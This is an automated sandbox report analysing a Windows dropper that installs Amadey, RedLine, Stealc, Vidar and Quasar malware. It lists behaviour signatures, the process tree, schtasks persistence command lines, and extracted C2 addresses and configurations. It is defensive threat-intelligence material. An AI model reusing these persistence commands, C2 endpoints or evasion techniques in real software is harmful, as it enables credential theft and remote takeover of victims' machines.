Edit tour

Windows Analysis Report
mlk3kK6uLZ.exe

Overview

General Information

Sample name:	mlk3kK6uLZ.exe renamed because original name is a hash value
Original sample name:	b85fa0d79d936b8b006c535d006c7f29.exe
Analysis ID:	1472622
MD5:	b85fa0d79d936b8b006c535d006c7f29
SHA1:	210085d4f3cf1cf08c34baa5bfba0b0fc5a6c639
SHA256:	170004b7b6bab6c3c860a6402f9d3d8988e4f3de7682e28738c3c27ac33b0e1c
Tags:	32exetrojan
Infos:

Detection

Amadey, Mars Stealer, PureLog Stealer, Quasar, RedLine, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Quasar RAT

Yara detected RedLine Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to inject code into remote processes

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs a global keyboard hook

Installs new ROOT certificates

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Reads the System eventlog

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: System File Execution Location Anomaly

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mlk3kK6uLZ.exe (PID: 4436 cmdline: "C:\Users\user\Desktop\mlk3kK6uLZ.exe" MD5: B85FA0D79D936B8B006C535D006C7F29)

axplong.exe (PID: 760 cmdline: "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe" MD5: B85FA0D79D936B8B006C535D006C7F29)

axplong.exe (PID: 6360 cmdline: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe MD5: B85FA0D79D936B8B006C535D006C7F29)

leg222.exe (PID: 6472 cmdline: "C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe" MD5: 5486FD5B8200F34B23F23A21F8912ADE)

RegAsm.exe (PID: 6768 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Z73fDV6g4L.exe (PID: 6220 cmdline: "C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe" MD5: 1B75671FB234AE1FB72406A317FA752A)

conhost.exe (PID: 4952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

VP2pdCInvS.exe (PID: 4512 cmdline: "C:\Users\user\AppData\Roaming\VP2pdCInvS.exe" MD5: 15A7CAE61788E4718D3C33ABB7BE6436)

WerFault.exe (PID: 4456 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6472 -s 284 MD5: C31336C1EFC2CCB44B4326EA793040F2)

hello.exe (PID: 7396 cmdline: "C:\Users\user\AppData\Local\Temp\1000202001\hello.exe" MD5: 2EB71684C81D24144953FE0F6F5B392C)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_regiis.exe (PID: 7464 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

build16666.exe (PID: 7516 cmdline: "C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe" MD5: 4640FAEAFA95CE219C649E9F5CBFFD75)

Freshbuild.exe (PID: 7612 cmdline: "C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe" MD5: 07101CAC5B9477BA636CD8CA7B9932CB)

Hkbsse.exe (PID: 7684 cmdline: "C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe" MD5: 07101CAC5B9477BA636CD8CA7B9932CB)

newstart.exe (PID: 2672 cmdline: "C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe" MD5: A20FC3377C07AA683A47397F9F5FF355)

see.exe (PID: 1868 cmdline: "C:\Users\user\AppData\Local\Temp\1000241001\see.exe" MD5: CD65AA14F5B3B1C266D82BA09B42FF86)

ZharkBOT.exe (PID: 6308 cmdline: "C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe" MD5: CD2DD54E31B33E1FEDECED94367CD942)

schtasks.exe (PID: 7224 cmdline: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

espartu.exe (PID: 3724 cmdline: "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" MD5: CD2DD54E31B33E1FEDECED94367CD942)

svchost.exe (PID: 6524 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 5900 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6472 -ip 6472 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 2300 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 4332 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6120 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Hkbsse.exe (PID: 8112 cmdline: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe MD5: 07101CAC5B9477BA636CD8CA7B9932CB)

Hkbsse.exe (PID: 2448 cmdline: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe MD5: 07101CAC5B9477BA636CD8CA7B9932CB)

espartu.exe (PID: 3992 cmdline: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe MD5: CD2DD54E31B33E1FEDECED94367CD942)

espartu.exe (PID: 5512 cmdline: "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" MD5: CD2DD54E31B33E1FEDECED94367CD942)

schtasks.exe (PID: 2516 cmdline: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 4592 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 2020 cmdline: "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" MD5: E634EE541D4D4911DABDDAC835517559)

schtasks.exe (PID: 2700 cmdline: "schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 1772 cmdline: "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe" MD5: E634EE541D4D4911DABDDAC835517559)

schtasks.exe (PID: 7332 cmdline: MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3876 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

espartu.exe (PID: 2704 cmdline: "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" MD5: CD2DD54E31B33E1FEDECED94367CD942)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.70/570d5d5e8678366c.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.70/570d5d5e8678366c.php"}

Threatname: Quasar

{"Version": "1.4.0", "Host:Port": "45.66.231.158:45764;", "SubDirectory": "Microsoft Windows", "InstallName": "svchost.exe", "MutexName": "80038a66-0dbb-4135-8eb1-4ce5a34ce41b", "StartupKey": "svchost", "Tag": "Proxy", "LogDirectoryName": "svchostetw", "ServerSignature": "DBA8F0Br++WlVnwMY+TOW3OLUcEzXGeCEpOjr8WUkG+2zCAq/kjzFN0ynUG7fVZJ2WnLgRMFCsnq+tQUyVRlD2d5OlDSd/89AGgSVE2v9+GKNyc798YKw+I8C5fQOSMPFpDgKf5dKMZdCkGYH88RdlMVn+P2IZysmei7aIdaN6ozqMBSJ3dYDd32Gz/nEv0PfLO8IH2gEmckMn0ox5+a1nQqWprOyOIvEwmwXM4zUb60JA3vXdZgUOqa8bXTE61J00WpLHW7n+ovTcw9xf6BrZayMnbNSF4c43JzJg8GPjLxCYEz4+4yc+T8TMveGuOTcMBoF6oh/rl43wMyyUWF6AqFMjQumJfK27M9e/Wt6/eym/Ny3Os3EA4F8rQjOEXaXg1n6VwK673sq38YoOFcOxJoBi7dwGCJ4nzNfFDgie/wOGhfen9yfDxk9+TXmKq2vsVjbElYLuFTnj/97F0vhIy6r4GoJyckl6ueQ89BUx5BJZuxY+Ne9C7v0qRhPNAasRpGjp/+Z9bQOvzTJKp1qFsQjtBRVxBycTB1ot1jg1jEBnZ/Iz+gT1GqQTeJ0vvsFjJcm7PwI3lJ+lzd9fhixiWe77RTDl8B4sDgf6+1WkUd//2uAnhNIJt81NkDMmmpjYbygCBOnGGY4qyqKgDsTtS+QZS1vUCgN8VZTlofKZY=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAMfljgRljIw8eG6/KAHpETANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MDcwOTE5MTA0OFoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAhkNgzYkaEwf7PBmR34/tzDkjeq0EJR6st02BJKB6Pn0eymJW5ztCKBjJWcj7ostsw1a8yLjTRhlPG2yTbAptsqGR7yW4Vx5EcTnJN1gnpbsHwMV0Nt46dJUsXGzDmSnMeazOYj9kusu/ppQkNYizfvV4De9PrDSyr/buwR4wWMZ/VpIW4LYCSKfrR/MhCV+RoWrr9hEYAw239t3sCQxo1aXlje5PyfqMXfjsHpecZazN08hwj3Rt08LVr3X8PZAn+mEqltOhyp+dEbQYK8S/2DYVp5OrTrRSrbY8cl06nAKMAPXobfLQ1yn9CnlwMUyV+B7GU0wWCK0JsUrfczniucg4bAGnQY+fAwnmM4LT/5T6wZlBgJABkyRW02Vi7vKtU+FQTpBq7lWVZIc5zJXgavwJl+WF7xwdNG/aiDItl2gZ7AqhS6zXo6+jmYUt1Tz5NgVjxtEZPEZ3SmMWYIYmBN4De8cP6wdv70w0csE65l3eyOpTf6Ez24x14kqk+dBzn3DH/wSSW6Y3XY/Fx3TL596pw+rOCD9OQx5SkYwEm39k3LZxvPSkbXrGTemBi12Khp23CypLECFMNYooDz+/5pLVwrRqkXEqaHYpeQ3F0uYlJwzlWVGZRtSg1vKkfrsR3f9/zaEvwMhhjx/xf+qXBvHkqEav9yJKYF8FI+Vf0jcCAwEAAaMyMDAwHQYDVR0OBBYEFPZB8zAaPEqcMz49Nz1nOdAlp926MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAAAxAkkSUk3Kt0Auf6XkCxIqotC09vm7t3YkEiQXeEA6YUTSBorR9g1WMAqxBQys9A5TFGUEOukXrVVpTljXKiWo5FzVptTd+dXTgu+KmhVEOobIaAiXvyccvRZcv6b/+bvG6Mag7bU8+hxwMHpne2DbOHO9ediM8FPK0uNEvQbYjJczQEOzJBdUQt4tNEn9vzJNH5a4JF1MJ0FAYR7B7gjuC+7jgFIrjioNyWfF0WktB38DGWxYKwl5kvq0KoZdwrNPlm2cceBnf9fHSyvRjfCbQXZ+voLsp2O9QAKYxy3zrLGsLZ313jI0h9pwySVxI+Pv7LYcBnJbg6843wjV3Sp13KUJDn944Nzxkwy76VOTCtb+/lZg3xZ5H1c1AlHlP0WqfpQV+L97HOO+PYBDKNGfU/ZcsQfUdWfboIueM85bxeIIjbhIn471OrVUCs13j67bSGtZkhpuhd2jyfiEU5koRWFPQZjEt7vbfAHFRh6mnFk1B4Jm7yZK3VHd360QFwEc6EKxQ18kh6TEK15D7l+/oUd3uIOM/WqkQzfW2QVkL943vW1pzaobeM3lcoOXVMV1dFnyXOi8/u/0++oc9vRjwLY6RvHGGqjTIWRsO1ULsoaMi7o9NtHE+vfDYe+f3+4TYlBB7Z+WpQc6lCqgFk/aZnoR0tYWs2gd1G23+691"}

Threatname: Amadey

{"C2 url": "185.172.128.116/Mb3GvQs8/index.php", "Version": "4.30"}

Threatname: RedLine

{"C2 url": ["185.172.128.33:8970"], "Bot Id": "@LOGSCLOUDYT_BOT", "Authorization Header": "3b888690d495b9792a58ef1c36d35d19"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4af61:$s1: file:/// 0x4ae99:$s2: {11111-22222-10009-11112} 0x4aef1:$s3: {11111-22222-50001-00000} 0x47bc8:$s4: get_Module 0x41c7b:$s5: Reverse 0x42a30:$s6: BlockCopy 0x41c67:$s7: ReadByte 0x4af73:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2036875774.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000000.2095785467.0000000000892000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000000.3774634677.0000000000EC2000.00000002.00000001.01000000.0000001A.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000000.2792505057.0000000000E01000.00000020.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2098178516.0000000000479000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000000.2094530359.0000000000AA2000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2036537353.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.4455767208.0000000000E01000.00000020.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000000.00000002.2042832211.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2795620246.0000000000871000.00000020.00000001.01000000.00000016.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000016.00000000.2774604502.0000000000871000.00000020.00000001.01000000.00000016.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000003.00000002.2077451585.00000000009C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.3861449673.0000000000E01000.00000020.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.3260194667.0000000000E01000.00000020.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000000.3849994852.0000000000E01000.00000020.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000000.3249458796.0000000000E01000.00000020.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2002501733.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: RegAsm.exe PID: 6768	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: Z73fDV6g4L.exe PID: 6220	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: VP2pdCInvS.exe PID: 4512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VP2pdCInvS.exe PID: 4512	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: hello.exe PID: 7396	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 7464	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 7464	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 7464	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 7464	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: newstart.exe PID: 2672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: newstart.exe PID: 2672	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: see.exe PID: 1868	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: FRaqbC8wSA1XvpFVjCRGryWt.exe PID: 2020	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: svchost.exe PID: 1772	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 45 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.RegAsm.exe.482040.2.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
